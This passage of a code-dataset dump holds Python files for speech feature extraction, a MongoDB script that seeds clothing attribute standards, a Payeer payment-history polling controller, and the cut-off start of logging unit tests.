self.voiceActivityZCRMaximumThreshold = 0.04 # Originally 0.06\n self.voiceActivityZCRMinimumThreshold = 0.008\n self.voiceActivityEnergyThreshold = 40\n self.voiceActivityPitchTolerance = 8\n self.voiceActivityMinimumRunLength = 10\n\n # Syllable detection parameters\n self.syllableWindowSize = 50 # In milliseconds\n self.syllablePeakMinimumDistance = 4\n self.syllablePeakMinimumWidth = 2 # Maybe 4 ?\n self.syllablePeakMinimumProminence = None # Maybe 75 ?\n self.syllablePitchDistanceTolerance = 4\n self.syllableZcrThreshold = 0.06\n\n # Filled pause parameters\n self.filledPauseWindowSize = 50 # In milliseconds\n self.filledPauseMinimumLength = 250 # In milliseconds\n self.filledPauseMinimumDistanceToPrevious = 1000 # In milliseconds\n self.filledPauseF1MaximumVariance = 60\n self.filledPauseF2MaximumVariance = 30\n self.filledPauseMaximumFormantDistance = 1000 # In Hz\n\n # Recording parameters\n self.recordingDeviceIndex = -1 # Default to asking user\n self.recordingBufferSize = 4096 # In samples\n self.recordingFormat = pyaudio.paInt16\n self.recordingChannels = 2\n\n\n\n def getEnergyFromAudio(self, audio):\n energy = featureModule.getEnergy(data= audio.data,\n sampleRate= audio.sampleRate,\n windowSize= self.energyWindowSize,\n stepSize= self.featureStepSize)\n return energy\n\n def getPitchFromAudio(self, audio, energy= None):\n if energy is None:\n energy = self.getEnergyFromAudio(audio)\n\n energyMinThreshold = featureModule.getEnergyMinimumThreshold(energy, self.energyThresholdRatio)\n fractionEnergyMinThreshold = energyMinThreshold / max(energy)\n\n pitches = featureModule.getPitch(data= audio.data,\n sampleRate= audio.sampleRate,\n stepSize= self.featureStepSize,\n silenceProportionThreshold= fractionEnergyMinThreshold,\n minimumRunLength= self.pitchMinimumRunLength)\n return pitches\n\n def getVoiceActivityFromAudio(self, audio, pitches= None):\n if pitches is None:\n pitches = self.getPitchFromAudio(audio)\n\n voiceActivity = featureModule.getVoiceActivity(data= audio.data,\n sampleRate= audio.sampleRate,\n pitchValues= pitches,\n windowSize= self.voiceActivityWindowSize,\n stepSize= self.featureStepSize,\n useAdaptiveThresholds= self.voiceActivityIsAdaptive,\n zcrMaximumThreshold= self.voiceActivityZCRMaximumThreshold,\n zcrMinimumThreshold= self.voiceActivityZCRMinimumThreshold,\n energyPrimaryThreshold= self.voiceActivityEnergyThreshold,\n pitchTolerance= self.voiceActivityPitchTolerance,\n minimumRunLength= self.voiceActivityMinimumRunLength)\n return voiceActivity\n\n def getSyllablesFromAudio(self, audio, pitches= None):\n if pitches is None:\n pitches = self.getPitchFromAudio(audio)\n\n syllables, timeStamps = featureModule.getSyllables(data= audio.data,\n sampleRate= audio.sampleRate,\n pitchValues= pitches,\n windowSize= self.syllableWindowSize,\n stepSize= self.featureStepSize,\n energyPeakMinimumDistance= self.syllablePeakMinimumDistance,\n energyPeakMinimumWidth= self.syllablePeakMinimumWidth,\n energyPeakMinimumProminence = self.syllablePeakMinimumProminence,\n pitchDistanceTolerance= self.syllablePitchDistanceTolerance,\n zcrThreshold= self.syllableZcrThreshold,\n energyThresholdRatio= self.energyThresholdRatio)\n return syllables, timeStamps\n\n def getFilledPausesFromAudio(self, audio):\n filledPauses, timeStamps = featureModule.getFilledPauses(data= audio.data,\n sampleRate= audio.sampleRate,\n windowSize= self.filledPauseWindowSize,\n stepSize= self.featureStepSize,\n minumumLength= self.filledPauseMinimumLength,\n minimumDistanceToPrevious= self.filledPauseMinimumDistanceToPrevious,\n F1MaximumVariance= self.filledPauseF1MaximumVariance,\n F2MaximumVariance= self.filledPauseF2MaximumVariance,\n maximumFormantDistance= self.filledPauseMaximumFormantDistance,\n energyThresholdRatio= self.energyThresholdRatio)\n return filledPauses, timeStamps\n\n\n\n # | Extracts features from audio and returns feature set.\n # | Parameters:\n # | - audio: audio data to process\n # | Returns:\n # | - Feature set\n def getFeaturesFromAudio(self, audio, shouldTime= False):\n features = featureModule.FeatureSet()\n\n times = {}\n\n if shouldTime:\n totalStartTime = time.time()\n startTime = time.time()\n\n # Get amplitude envelope feature.\n energy = self.getEnergyFromAudio(audio)\n\n if __debug__:\n if shouldTime:\n times[\"intensity\"] = time.time() - startTime\n startTime = time.time()\n\n # Get pitch feature.\n pitches = self.getPitchFromAudio(audio, energy)\n\n if __debug__:\n if shouldTime:\n times[\"pitch\"] = time.time() - startTime\n startTime = time.time()\n\n # Get voice activity feature.\n voiceActivity = self.getVoiceActivityFromAudio(audio, pitches)\n\n if __debug__:\n if shouldTime:\n times[\"voiceActivity\"] = time.time() - startTime\n startTime = time.time()\n\n # Get syllables feature if needed as binary array for easy masking.\n if \"syllablesPerSecond\" in self.features:\n syllables, _ = self.getSyllablesFromAudio(audio, pitches)\n\n if __debug__:\n if shouldTime:\n times[\"syllables\"] = time.time() - startTime\n startTime = time.time()\n\n # Get filled pauses feature if needed as binary array for easy masking.\n if \"filledPauses\" in self.features:\n filledPauses, _ = self.getFilledPausesFromAudio(audio)\n\n if __debug__:\n if shouldTime:\n times[\"filledPauses\"] = time.time() - startTime\n startTime = time.time()\n\n\n\n # Expand voice activity to have a margin for error to catch speech features\n # and create boolean array with True for no activity to set no activity\n # to all zeros.\n bufferFrames = int(self.voiceActivityMaskBufferSize / self.featureStepSize)\n mask = np.invert(featureModule.createBufferedBinaryArrayFromArray(voiceActivity.astype(bool), bufferFrames))\n\n # Mask features with voice activity but setting regions with no voice\n # activity (incl. buffered margin of error) to zero.\n if self.maskEnergyWithVoiceActivity:\n # Prevent mismatches in the lengths of the arrays\n energy = energy[:len(mask)]\n energy[mask[:len(energy)]] = 0\n\n if self.maskPitchWIthVoiceActivity:\n pitches = pitches[:len(mask)]\n pitches[mask[:len(pitches)]] = np.nan\n\n if self.maskSyllablesWithVoiceActivity:\n syllables = syllables[:len(mask)]\n syllables[mask[:len(syllables)]] = 0\n\n if self.maskFilledPausesWithVoiceActivity:\n filledPauses = filledPauses[:len(mask)]\n filledPauses[mask[:len(filledPauses)]] = 0\n\n\n\n # Calculate statistics and add to feature arrays\n ### AMPLITUDE\n averageEnergy = np.mean(energy)\n stDevEnergy = np.std(energy)\n\n features.meanIntensity = np.append(features.meanIntensity, averageEnergy)\n features.stDevIntensity = np.append(features.stDevIntensity, stDevEnergy)\n\n ### PITCH\n if max(pitches) > 0:\n pitches[pitches == 0] = np.nan\n\n averagePitch = np.nanmean(pitches)\n stDevPitch = np.nanstd(pitches)\n else:\n averagePitch = 0\n stDevPitch = 0\n\n features.meanPitch = np.append(features.meanPitch, averagePitch)\n features.stDevPitch = np.append(features.stDevPitch, stDevPitch)\n\n ### VOICE ACTIVITY\n averageVoiceActivity = np.mean(voiceActivity)\n stDevVoiceActivity = np.std(voiceActivity)\n\n features.meanVoiceActivity = np.append(features.meanVoiceActivity, averageVoiceActivity)\n features.stDevVoiceActivity = np.append(features.stDevVoiceActivity, stDevVoiceActivity)\n\n ### WORDS PER MINUTE\n if \"syllablesPerSecond\" in self.features:\n currentSyllablesPerSecond = int(sum(syllables))/self.lookBackSize\n\n features.syllablesPerSecond = np.append(features.syllablesPerSecond, currentSyllablesPerSecond)\n\n # FILLED PAUSES\n if \"filledPauses\" in self.features:\n features.filledPauses = np.append(features.filledPauses, int(sum(filledPauses)))\n\n if __debug__:\n if shouldTime:\n times[\"processingFeatures\"] = time.time() - startTime\n\n if shouldTime:\n return features, times\n else:\n return features\n\n # | Extracts features and returns array in accordance with Jamison's drawing\n # | Parameters:\n # | - filePath: path to file to process\n # | Returns:\n # | - Numpy array with features\n def getFeaturesFromFileUsingWindowing(self, filePath, shouldTime=True):\n name = os.path.basename(filePath)\n timingData = pd.DataFrame([], columns=['intensity', 'pitch', 'voiceActivity', 'syllables', 'filledPauses', 'processingFeatures'])\n timingData.index.name = 'time'\n\n # Read in the file\n audio = audioModule.Audio(filePath)\n if audio.numberOfChannels > 1:\n audio.makeMono()\n\n if self.removeDCOffsetFromAudio:\n audio.unBias() # Move the center of the audio to 0\n\n startTime = time.time()\n\n # Set up time tracker\n seconds = np.zeros(shape=0)\n\n # Set up arrays for features\n features = featureModule.FeatureSet()\n\n step = 0\n sampleStepSize = int(self.stepSize * audio.sampleRate)\n sampleLookBackSize = int(self.lookBackSize * audio.sampleRate)\n\n while step < audio.length:\n\n if self.printStatus:\n print(\"[\", str(step/audio.length*100)[:4], \"% ]\",\n \"Second\", int(step/audio.sampleRate), \"of\", name,\n end=\"\")\n if int(step/audio.sampleRate) > self.lookBackSize:\n print(\" - Time per second:\", (time.time() - startTime)/(int(step/audio.sampleRate) - self.lookBackSize), end=\"\\r\")\n else:\n print(end=\"\\r\")\n\n # Keep track of what second we're in\n seconds = np.append(seconds,step/audio.sampleRate)\n\n # Look backward to calculate features over long term\n if step + sampleStepSize - sampleLookBackSize > 0:\n\n currentWindow = audioModule.Audio(data=audio.data[step + sampleStepSize - sampleLookBackSize:step + sampleStepSize])\n currentWindow.sampleRate = audio.sampleRate\n\n if shouldTime:\n currentFeatures, timesDictionary = self.getFeaturesFromAudio(currentWindow, shouldTime= True)\n else:\n currentFeatures = self.getFeaturesFromAudio(currentWindow)\n\n features.append(currentFeatures)\n\n #Handle timing\n timingData = timingData.append(pd.DataFrame(timesDictionary, index=[int(step/audio.sampleRate)]))\n\n # Fills arrays with zeros until step is larger than lookBackSize\n else:\n features.appendAllZeros()\n\n # Increment to next step\n step += sampleStepSize\n\n # Pull all the feautures together in one array\n featureArray = np.vstack([seconds])\n for feature in self.features:\n if feature == \"meanIntensity\":\n featureArray = np.vstack([featureArray, features.meanIntensity])\n elif feature == \"stDevIntensity\":\n featureArray = np.vstack([featureArray, features.stDevIntensity])\n elif feature == \"meanPitch\":\n featureArray = np.vstack([featureArray, features.meanPitch])\n elif feature == \"stDevPitch\":\n featureArray = np.vstack([featureArray, features.stDevPitch])\n elif feature == \"meanVoiceActivity\":\n featureArray = np.vstack([featureArray, features.meanVoiceActivity])\n elif feature == \"stDevVoiceActivity\":\n featureArray = np.vstack([featureArray, features.stDevVoiceActivity])\n elif feature == \"syllablesPerSecond\":\n featureArray = np.vstack([featureArray, features.syllablesPerSecond])\n elif feature == \"filledPauses\":\n featureArray = np.vstack([featureArray, features.filledPauses])\n\n if self.printStatus :\n print(\"[ DONE ] Finished processing\", filePath, \"!\")\n\n if shouldTime:\n return featureArray, timingData\n else:\n return featureArray\n\n # | Write parameters used to generate the features.\n def saveInfoToFile(self, directory):\n with open(directory + 'about.txt', 'w+') as aboutFile:\n aboutFile.write(\"Started \" + str(datetime.today().strftime('%Y-%m-%d')) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n aboutFile.write(\"Description --------------------------------------------------\" + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n aboutFile.write(\"Parameters ---------------------------------------------------\" + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Audio processing parameters\n aboutFile.write(\"removeDCOffsetFromAudio (bool) = \" + str(self.removeDCOffsetFromAudio) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Windowing parameters\n aboutFile.write(\"stepSize (seconds) = \" + str(self.stepSize) + \"\\n\")\n aboutFile.write(\"lookBackSize (seconds) = \" + str(self.lookBackSize) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Parameters for all features\n aboutFile.write(\"features = \" + str(self.features) + \"\\n\")\n aboutFile.write(\"featureStepSize (milliseconds) = \" + str(self.featureStepSize) + \"\\n\")\n aboutFile.write(\"energyThresholdRatio = \" + str(self.energyThresholdRatio) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n aboutFile.write(\"voiceActivityMaskBufferSize (milliseconds) = \" + str(self.voiceActivityMaskBufferSize) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n aboutFile.write(\"maskEnergyWithVoiceActivity = \" + str(self.maskEnergyWithVoiceActivity) + \"\\n\")\n aboutFile.write(\"maskPitchWIthVoiceActivity = \" + str(self.maskPitchWIthVoiceActivity) + \"\\n\")\n aboutFile.write(\"maskSyllablesWithVoiceActivity = \" + str(self.maskSyllablesWithVoiceActivity) + \"\\n\")\n aboutFile.write(\"maskFilledPausesWithVoiceActivity = \" + str(self.maskFilledPausesWithVoiceActivity) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Pitch parameters\n aboutFile.write(\"energyWindowSize = \" + str(self.energyWindowSize) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Pitch parameters\n aboutFile.write(\"pitchMinimumRunLength = \" + str(self.pitchMinimumRunLength) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Voice activity Parameters\n aboutFile.write(\"voiceActivityIsAdaptive = \" + str(self.voiceActivityIsAdaptive) + \"\\n\")\n aboutFile.write(\"voiceActivityMaskBufferSize (milliseconds) = \" + str(self.voiceActivityWindowSize) + \"\\n\")\n aboutFile.write(\"voiceActivityZCRMaximumThreshold (milliseconds) = \" + str(self.voiceActivityZCRMaximumThreshold) + \"\\n\")\n aboutFile.write(\"voiceActivityZCRMinimumThreshold (milliseconds) = \" + str(self.voiceActivityZCRMinimumThreshold) + \"\\n\")\n aboutFile.write(\"voiceActivityEnergyThreshold (milliseconds) = \" + str(self.voiceActivityEnergyThreshold) + \"\\n\")\n aboutFile.write(\"voiceActivityPitchTolerance (milliseconds) = \" + str(self.voiceActivityPitchTolerance) + \"\\n\")\n aboutFile.write(\"voiceActivityMinimumRunLength (milliseconds) = \" + str(self.voiceActivityMinimumRunLength) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Syllable detection parameters\n aboutFile.write(\"syllableWindowSize (milliseconds) = \" + str(self.syllableWindowSize) + \"\\n\")\n aboutFile.write(\"syllablePeakMinimumDistance = \" + str(self.syllablePeakMinimumDistance) + \"\\n\")\n aboutFile.write(\"syllablePeakMinimumWidth = \" + str(self.syllablePeakMinimumWidth) + \"\\n\")\n aboutFile.write(\"syllablePitchDistanceTolerance = \" + str(self.syllablePitchDistanceTolerance) + \"\\n\")\n aboutFile.write(\"syllableZcrThreshold = \" + str(self.syllableZcrThreshold) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Filled pause parameters\n aboutFile.write(\"filledPauseWindowSize (milliseconds) = \" + str(self.filledPauseWindowSize) + \"\\n\")\n aboutFile.write(\"filledPauseMinimumLength (milliseconds) = \" + str(self.filledPauseMinimumLength) + \"\\n\")\n aboutFile.write(\"filledPauseMinimumDistanceToPrevious (milliseconds) = \" + str(self.filledPauseMinimumDistanceToPrevious) + \"\\n\")\n aboutFile.write(\"filledPauseF1MaximumVariance = \" + str(self.filledPauseF1MaximumVariance) + \"\\n\")\n aboutFile.write(\"filledPauseF2MaximumVariance = \" + str(self.filledPauseF2MaximumVariance) + \"\\n\")\n aboutFile.write(\"filledPauseMaximumFormantDistance (Hz) = \" + str(self.filledPauseMaximumFormantDistance) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n # Recording parameters\n aboutFile.write(\"recordingDeviceIndex = \" + str(self.recordingDeviceIndex) + \"\\n\")\n aboutFile.write(\"recordingBufferSize (samples) = \" + str(self.recordingBufferSize) + \"\\n\")\n aboutFile.write(\"recordingFormat = \" + str(self.recordingFormat) + \"\\n\")\n aboutFile.write(\"recordingChannels = \" + str(self.recordingChannels) + \"\\n\")\n aboutFile.write(\"\" + \"\\n\")\n\n\n # | Extracts features from all files in a directory and saves to numpy files.\n # | Parameters:\n # | - inDirectory: directory for audio files\n # | - outDirectory: directory for saving numpy files\n def createFeatureFilesFromDirectory(self, inDirectory, outDirectory, saveRunTimes=False):\n for featureName in self.features:\n assert featureName in FEATURE_NAMES, 'Invalid feature name in list.'\n\n self.saveInfoToFile(outDirectory)\n\n # Keep track of running stats\n startTime = time.time()\n count = 1\n processedCount = 1\n\n audioFiles = inDirectory + \"*.wav\"\n featuresFiles = list(glob.iglob(outDirectory + \"*.csv\"))\n\n for path in sorted(glob.iglob(audioFiles),reverse=False):\n name = os.path.basename(path)[:-4]\n\n # Check if features already made\n if not (outDirectory + name + \".csv\") in featuresFiles:\n # Communicate progress\n print(\"[ \" + str(count) + \"/\" + str(len(sorted(glob.iglob(audioFiles)))) + \" ] \\tStarting:\",path)\n\n if saveRunTimes:\n featureArray, runTimeData = self.getFeaturesFromFileUsingWindowing(path, shouldTime= saveRunTimes)\n print(saveRunTimes)\n runTimeData.to_csv(outDirectory + os.path.basename(path)[:-4] + \"-run_time.csv\")\n else:\n featureArray = self.getFeaturesFromFileUsingWindowing(path)\n\n # Save the numpy array by swapping into row major and saving as a\n # pandas-ready csv.\n featureArray = np.swapaxes(featureArray, 0, 1)\n frame = pd.DataFrame(featureArray, columns= [\"time\"] + self.features)\n frame.to_csv(outDirectory + os.path.basename(path)[:-4] + \".csv\", index= False)\n\n # Crunch some numbers and communicate to the user\n timeElapsed = time.time() - startTime\n estimatedTimeRemaining = timeElapsed/processedCount * (len(sorted(glob.iglob(audioFiles))) - processedCount)\n print(\"\\t\\t\" + str(timeElapsed/60) + \" minutes elapsed. Estimated time remaining: \" + str(estimatedTimeRemaining/60))\n\n processedCount += 1\n else:\n # Communicate skipping\n print(\"[ \" + str(count) + \"/\" + str(len(sorted(glob.iglob(audioFiles)))) + \" ] \\tSkipping:\",path)\n\n count += 1\n\n\n\n def getFeaturesInBackground(self, segment, sampleRate, startTime, featureExtractionStartTime, printLock):\n # Create an object to pass around\n audio = audioModule.Audio(data=segment)\n audio.sampleRate = sampleRate\n audio.numberOfChannels = 2 # TODO: Check if this should be 1\n\n # Get all features for this window of audio\n features = self.getFeaturesFromAudio(audio)\n\n with printLock:\n print(\"\\u001b[31m• Live\\u001b[0m\", str((time.time() - startTime))[:5], \"elapsed.\",\n \"Mean pitch:\", round(features.meanPitch[0],2),\n \"Voice activity:\", round(features.meanVoiceActivity[0],2),\n \"Speech Rate:\", round(features.syllablesPerSecond[0],2),\n \"Filled pauses:\", round(features.filledPauses[0],2),\n \"Time to run:\", round(time.time() - featureExtractionStartTime,4),\n end=\" \\r\")\n\n # | Extracts features from live audio.\n def getFeaturesFromLiveInput(self):\n for featureName in self.features:\n assert featureName in FEATURE_NAMES, 'Invalid feature name in list.'\n\n # Controls the microphone and live input\n audioController = pyaudio.PyAudio()\n\n # Check if microphone paramter is set, default is -1\n microphoneIndex = self.recordingDeviceIndex\n\n # Check microphone paramter is valid\n if microphoneIndex < 0 or microphoneIndex >= audioController.get_device_count():\n # Use helper function to select the device\n microphoneIndex = audioModule.pickMicrophone(audioController)\n\n # Get the chosen device's sample rate\n sampleRate = int(audioController.get_device_info_by_index(microphoneIndex)[\"defaultSampleRate\"])\n\n input(\"Press 'Enter' to start recording. Use keyboard interrupt to stop.\")\n\n audioStream = audioController.open(format=self.recordingFormat,\n input_device_index=microphoneIndex,\n channels=self.recordingChannels,\n rate=sampleRate,\n input=True,\n frames_per_buffer=self.recordingBufferSize)\n\n print(\"\\n\\u001b[31m• Live\\u001b[0m\\r\", end=\"\\r\")\n\n # Setup before recording starts\n data = np.zeros(shape=0)\n\n windowSampleSize = int(sampleRate * self.lookBackSize)\n stepSampleSize = int(sampleRate * self.stepSize)\n\n startTime = time.time()\n runTime = time.time()\n printLock = threading.Lock()\n\n try:\n # Record until the user stops\n while True:\n # Read in from microphone\n buffer = audioStream.read(self.recordingBufferSize)\n # print(\"reading from buffer\", len(buffer), data.shape, time.time() - runTime)\n # runTime = time.time()\n\n # Convert to mono float data\n waveData = wavio._wav2array(self.recordingChannels, audioController.get_sample_size(self.recordingFormat), buffer)\n monoWaveData = np.mean(waveData, axis=1)\n\n # Add the just-read buffer to the current running array of audio data\n data = np.append(data, monoWaveData)\n\n # Once enough time has passed to include an entire window\n if data.size >= windowSampleSize and data.size >= stepSampleSize:\n # Chop out a window sized section of data\n currentWindowSelection = data[0:windowSampleSize]\n\n featureThread = multiprocessing.Process(target=self.getFeaturesInBackground, args=(currentWindowSelection, sampleRate, startTime, time.time(), printLock,))\n featureThread.start()\n\n # Reduce the size of the audio data array to move the beggining\n # forward by one step size so the next window is offset by this amount\n data = data[stepSampleSize:]\n\n # User stops with ctrl + c\n except KeyboardInterrupt:\n print(\" \\nStopped! \")\n\n # Clean up audio session\n audioStream.stop_stream()\n audioStream.close()\n audioController.terminate()\n","sub_path":"speechLibrary/speechAnalysis.py","file_name":"speechAnalysis.py","file_ext":"py","file_size_in_byte":28625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"50619573","text":"from pymongo import MongoClient\n\nclient = MongoClient()\ndb = client.looksmash_standards\ncollection = db.attributes\n\nstandards = {\n 'Category':[],\n 'Style':[],\n 'Neck':[],\n # 'Fit':[], \n 'Type':[],\n 'Sub_category':[],\n 'Color':[],\n # 'Image':[],\n 'Sex':[],\n # 'Cost':[],\n 'Sleeves':[],\n # 'Product Name':[],\n # 'Brand':[],\n # 'Size':[]\n}\n\nstandards['Category'] = [\n 'Topwear',\n 'Bottomwear',\n 'Footwear'\n]\n\nstandards['Style'] = [\n 'Solids',\n 'Florals',\n 'Stripes',\n 'Checks',\n 'Embroidered',\n 'Graphic Print',\n 'Printed',\n 'Embellished',\n 'Acid Wash',\n 'Geometric Print'\n]\n\nstandards['Neck'] = [\n 'Mandarin Collar',\n 'Round Neck',\n 'Halter Neck',\n 'V Neck',\n 'Nehru Collar',\n 'Boat Neck',\n 'Henley',\n 'Polo Neck',\n 'Spaghetti Neck',\n 'Sweetheart Neck',\n 'Peterpan Collar Combo',\n 'Square Neck',\n 'Regular Collar',\n 'Turtle Neck'\n]\n\nstandards['Type'] = [\n 'Dresses',\n 'Tops',\n 'Tees',\n 'Jackets',\n 'Blazers',\n 'Kurtas',\n 'Blouses',\n 'Polo T-Shirts',\n 'Tunics',\n 'Shirts',\n 'Waistcoats',\n 'Trousers',\n 'Shorts',\n 'Jeans',\n 'Ethnic Bottomwear',\n 'Skirts',\n 'Palazzos And Pants',\n 'Gym Wear',\n 'Sports Shoes',\n 'Casual Shoes',\n 'Flats',\n 'Formal Shoes',\n 'Boots'\n]\n\nstandards['Sub_category'] = [\n 'Maxis',\n 'Midis',\n 'Off Shoulder Dresses',\n 'Bodycon Dresses',\n 'Asymmetric Dresses',\n 'Peplum Dresses',\n 'Skater Dresses',\n 'Shift Dresses',\n 'A-Line Dresses',\n 'Dresses',\n 'Jumpsuit',\n 'Crop Tops',\n 'Tube Tops',\n 'Tank Tops',\n 'Strappy Tops',\n 'Tops',\n 'Round Neck Tees',\n 'Turtle Neck Tees',\n 'Tees',\n 'V-Neck Tees',\n 'Sports Jerseys',\n 'Henley Tees',\n 'Mandarin Neck Tees',\n 'Hooded T-Shirts',\n 'Polo T-shirts',\n 'Jackets',\n 'Hooded Jackets',\n 'Bomber Jackets',\n 'Leather Jackets',\n 'Quilted Jackets',\n 'Winter Jackets',\n 'Single Breasted Blazers',\n 'Blazers',\n 'Tuxedo Style Blazer',\n 'Double Breasted Blazers',\n 'Fitted Blazers',\n 'Casual Blazer',\n 'Nehru Jackets',\n 'Anarkali Suit (Unstitched)',\n 'A-Line',\n 'Straight Suit',\n 'Anarkali',\n 'Flared',\n 'Kurtis',\n 'Kurta With Side Slits',\n 'Anarkali Gown',\n 'Pakistani Suits',\n 'Designer Suit',\n 'Pathani',\n 'Ethnic Jackets',\n 'Kurtas',\n 'Kurti Fabric',\n 'Ethnic Wear',\n 'Checked Shirts',\n 'Shirts',\n 'Casual Shirts',\n 'Formal Shirts',\n 'Shirts & Blouses',\n 'Tunics',\n 'Waistcoats',\n 'Formal Waistcoat',\n 'Trousers',\n 'Formal Trousers',\n 'Chinos',\n 'Flat-Front Trousers',\n 'Corduroy Trousers',\n 'Cotton Trousers',\n 'Coloured Pants',\n 'Cargo Pants',\n 'Khakis',\n 'Chino Shorts',\n 'Beach Shorts',\n '3/4th Shorts',\n 'Shorts',\n 'Jeggings',\n 'Jeans',\n 'Salwars & Churidhars',\n 'Dhoti Pants',\n 'Patialas',\n 'Leggings',\n 'Regular Salwars',\n 'Salwars',\n 'Patiala and Leggings',\n 'Churidar',\n 'Dhoti',\n 'Pencil Skirt',\n 'A-line Skirt',\n 'Skirts',\n 'Palazzos',\n 'Harem Pants',\n 'Wrap Palazzo Pants',\n 'Sweat Pants',\n 'Joggers',\n 'Sports Shoes',\n 'Sneakers',\n 'Running Shoes',\n 'Walking shoes',\n 'Sport Shoes',\n 'Cricket Shoes',\n 'Badminton Shoes',\n 'Skateboarding Shoes',\n 'Indoor Sports Shoes',\n 'Tennis Shoes',\n 'Hiking Shoes',\n 'Sporty Sneakers',\n 'Football Shoes',\n 'Outdoor & Hiking Shoes',\n 'Basketball Shoes',\n 'Training Shoes',\n 'Casual Shoes',\n 'Lifestyle Shoes',\n 'Boat Shoes',\n 'Brogues',\n 'Canvas Shoes',\n 'Moccasins',\n 'Mules',\n 'Casual Sneakers',\n 'Loafers',\n 'Floaters',\n 'Sandals',\n 'Slip-On',\n 'Flats',\n 'Ballet Flats',\n 'Formal Shoes',\n 'Boots',\n 'Ankle Length Boots',\n 'Chelsea Boots',\n 'Cowboy Boots',\n 'Ugg Boots',\n 'Slouch Boots',\n 'Combat Boots'\n]\n\nstandards['Color'] = [\n 'Blue',\n 'Grey',\n 'Black',\n 'Navy blue',\n 'White',\n 'Red',\n 'Green',\n 'Multicolor',\n 'Yellow',\n 'Brown',\n 'Maroon',\n 'Pink',\n 'Purple',\n 'Beige',\n 'Orange',\n 'Cream',\n 'Olive',\n 'Khaki',\n 'Coffee',\n 'Peach',\n 'Silver',\n 'Golden',\n 'Tan',\n 'Magenta',\n 'Turquoise',\n 'Copper',\n 'Mauve',\n 'Mustard',\n 'Nude',\n 'Scarlet',\n 'Plum',\n 'Emerald Green',\n 'Lime Green',\n 'Indigo'\n]\n\nstandards['Sex'] = [\n 'Men',\n 'Women'\n]\n\nstandards['Sleeves'] = [\n 'Sleeveless',\n 'Cap Sleeves',\n 'Full Sleeves',\n 'Roll Up Sleeves',\n 'Puff Sleeves',\n '3/4th Sleeves',\n 'Short Sleeves',\n 'Half Sleeves',\n 'Flutter Sleeves'\n]\n\ncollection.insert_one(standards)","sub_path":"tutorial/DB/Standards/create_standards.py","file_name":"create_standards.py","file_ext":"py","file_size_in_byte":4788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"628723872","text":"import json\nimport logging\n\nimport datetime\nimport requests\n\nfrom bot.controllers.payment import proceed_payment_comment\nfrom bot.controllers.user import proceed_payment, proceed_payment_with_params\nfrom bot.models import User, Time, Market\nfrom config import payeer_account, payeer_api_pass, payeer_api_id\nfrom trade_bot.settings import TIME_ZONE\nfrom django.utils.timezone import pytz, now as timezone_now\nimport traceback\n\nlogger = logging.getLogger(\"payeer_controller\")\n\ntz = pytz.timezone(TIME_ZONE)\n\n\ndef get_json_data(begin, end):\n for i in range(0, 10):\n try:\n params = {\n 'account': payeer_account,\n 'apiId': payeer_api_id,\n 'apiPass': payeer_api_pass,\n 'action': 'history',\n 'type': 'incoming',\n 'from': begin.strftime('%Y-%m-%d %H:%M:%S'),\n 'to': end.strftime('%Y-%m-%d %H:%M:%S'),\n }\n # headers = {\n # 'Content-Type': 'application/json'\n # }\n r = requests.post('https://payeer.com/ajax/api/api.php',\n data=params)\n data = r.text\n data = json.loads(data)\n return data\n except Exception as e:\n logger.critical(\"Can't parse json\")\n\n\ndef run():\n try:\n now = timezone_now().astimezone(tz)\n check_time = Time.objects.first()\n if not check_time:\n check_time = Time(time=now)\n previous_check = now - datetime.timedelta(days=10)\n else:\n previous_check = check_time.time.astimezone(tz)\n data = get_json_data(previous_check, now)\n errors = int(data['auth_error'])\n if errors != 0:\n raise Exception(data['errors'])\n else:\n history = data['history']\n if len(history):\n for key, operation in history.items():\n print(operation)\n if operation['to'] == payeer_account and operation['status'] == 'success':\n comment = operation['comment']\n try:\n amount = float(operation['creditedAmount'])\n proceed_payment_comment(comment, amount)\n except Exception as e:\n traceback.print_exc()\n logger.error(e.__repr__())\n check_time.time = now\n check_time.save()\n except Exception as e:\n traceback.print_exc()\n logger.error(e.__repr__())\n","sub_path":"bot/controllers/payeer.py","file_name":"payeer.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"410198869","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUnit tests for DebugLogger.\n\"\"\"\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\nimport logging\nimport os\nimport re\nimport shutil\nimport tempfile\nfrom unittest import TestCase, SkipTest\nfrom unittest.mock import MagicMock\n\nfrom appupup.log import DebugLogger\n\nLOGGER = logging.getLogger('tests.appupup.log')\n\n\nclass TestTestee(TestCase):\n def do_me_one(self, *args, **kwargs):\n self.testee = DebugLogger(*args, **kwargs)\n self.testee.filtered_in = MagicMock()\n self.testee.filtered_out = MagicMock()\n self.logger = logging.getLogger('DebugLogger')\n self.logger.handlers = []\n self.logger.addHandler(self.testee)\n\n def setUp(self):\n pass\n\n def tearDown(self):\n self.testee = None\n self.logger.handlers = []\n\n def test_init_all_goes(self):\n self.do_me_one()\n self.logger.debug(\"test\")\n self.testee.filtered_in.assert_called_once()\n self.testee.filtered_out.assert_not_called()\n\n def test_name_pattern(self):\n self.do_me_one(name_pattern='Other name')\n self.logger.debug(\"test\")\n self.testee.filtered_in.assert_not_called()\n self.testee.filtered_out.assert_called_once()\n\n self.do_me_one(name_pattern='DebugLogger')\n self.logger.debug(\"test\")\n self.testee.filtered_in.assert_called_once()\n self.testee.filtered_out.assert_not_called()\n\n self.do_me_one(name_pattern=re.compile('O.+e'))\n self.logger.debug(\"test\")\n 